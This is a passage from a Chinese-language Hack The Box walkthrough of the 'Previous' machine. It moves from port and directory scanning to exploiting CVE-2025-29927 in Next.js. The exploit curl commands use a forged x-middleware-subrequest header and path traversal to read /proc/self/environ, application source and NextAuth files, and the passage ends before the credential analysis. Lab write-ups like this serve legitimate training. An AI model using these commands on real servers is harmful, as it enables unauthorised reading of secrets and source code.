🎯 Hack The Box: Previous - 完整的 walkthrough 和技术分析

📊 机器概述

属性
机器名称 Previous
IP 地址 10.10.11.83
操作系统 Linux (Ubuntu)
难度 中等
得分 30
发布日期 2025年8月23日
域名 previous.htb

🔍 初步侦察

使用 Nmap 扫描端口

渗透测试的第一步是侦察。我们首先扫描目标,以识别开放的端口和服务。

nmap -sC -sV -oN nmap_initial.txt 10.10.11.83

关键发现:

  • 端口 22 (SSH): OpenSSH 8.9p1 Ubuntu - 用于远程访问的标准 SSH 服务
  • 端口 80 (HTTP): nginx 1.18.0 - Web 服务器,自动重定向至 http://previous.htb/

DNS 配置

在继续之前,我们需要将域名添加到 hosts 文件中:

echo "10.10.11.83 previous.htb" | sudo tee -a /etc/hosts

这可以确保系统正确解析域名。


🌐 Web 应用分析

技术栈识别

使用 whatweb 来指纹识别 Web 应用:

whatweb http://previous.htb

重要发现: 该应用运行的是 Next.js(一个基于 React 的框架),并由 Node.js 提供支持。这一点很关键,因为 Next.js 应用存在特定的漏洞和攻击向量。

HTTP 头分析

curl -I http://previous.htb/

响应头揭示:

HTTP/1.1 200 OK
Server: nginx/1.18.0 (Ubuntu)
X-Powered-By: Next.js
X-Middleware-Subrequest: src/middleware:nowaf:src/middleware...

X-Middleware-Subrequest 头部特别有趣——它表明该应用使用了可能存在漏洞的中间件层。

目录枚举

feroxbuster -u http://previous.htb/ \
  -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt \
  -x php,html,js,json,txt,log \
  -t 50 -e

An image to describe post

重要发现: 发现了一个电子邮件地址 - [email protected](可能是后续使用的用户名)

An image to describe post

我们检查了网站头部 ✅

An image to describe post

由于是 Next.js,它可能存在 CVE-2025-29927(已存在 PoC)的漏洞,具体取决于版本/配置。


💥 漏洞发现:CVE-2025-29927

理解该漏洞

CVE-2025-29927 是一个 路径遍历漏洞,出现在 Next.js 应用中,允许攻击者在满足特定条件时读取服务器上的任意文件:

  1. 应用有一个接受文件参数的 API 端点
  2. 中间件未正确清理用户输入
  3. 可以操控 X-Middleware-Subrequest 头部

为什么这个漏洞有效

Next.js 的中间件设计用于在请求到达实际的 API 端点之前进行处理。通过操控 X-Middleware-Subrequest 头部,我们可以绕过安全控制。


🔓 利用阶段 1:信息收集

步骤 1:发现易受攻击的端点

我们需要找到 API 端点。/api/ 目录是 Next.js 应用的标准目录:

dirsearch -u http://previous.htb/api/ \
  -w /usr/share/wordlists/dirb/common.txt \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

结果: 找到了 /api/download 端点

An image to describe post

步骤 2:读取环境变量

环境变量通常包含敏感信息,如 API 密钥、数据库凭证或配置信息:

curl -s "http://previous.htb/api/download?example=../../../../../../proc/self/environ" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware" \
  | tr '\0' '\n'

An image to describe post

为什么选择 /proc/self/environ

  • 在 Linux 中,/proc/self/ 是指向当前进程的符号链接
  • environ 包含该进程的所有环境变量
  • tr '\0' '\n' 命令将 null 字节转换为换行符,便于阅读

提取的关键信息:

  • NODE_ENV=production - 应用处于生产模式
  • PWD=/app - 应用根目录
  • PORT=3000 - 内部端口(nginx 转发至此)
  • HOME=/home/nextjs - 服务用户的家目录

步骤 3:提取应用源代码

现在我们知道应用位于 /app,让我们获取服务器配置:

curl -s "http://previous.htb/api/download?example=../../../../../../app/server.js" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

这揭示了 Next.js 服务器的配置和初始化方式。

An image to describe post

步骤 4:映射应用路由

Next.js 将路由信息存储在清单文件中:

curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/routes-manifest.json" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

关键发现: 动态路由 /api/auth/[...nextauth] - 这是一个 NextAuth.js 认证端点!

An image to describe post


🔐 利用阶段 2:凭证发现

理解 NextAuth.js

NextAuth.js 是一个流行的用于 Next.js 应用的认证库,负责:

  • 用户认证
  • 会话管理
  • OAuth 提供商
  • 基于凭证的认证

提取认证逻辑

路由 [...nextauth] 使用了括号表示法,需要进行 URL 编码:

curl -s "http://previous.htb/api/download?example=../../../../../../app/.next/server/pages/api/auth/%5B...nextauth%5D.js" \
  -H "x-middleware-subrequest: middleware:middleware:middleware:middleware:middleware"

分析压缩代码

响应是压缩的 JavaScript,但我们可以识别出关键的认证逻辑: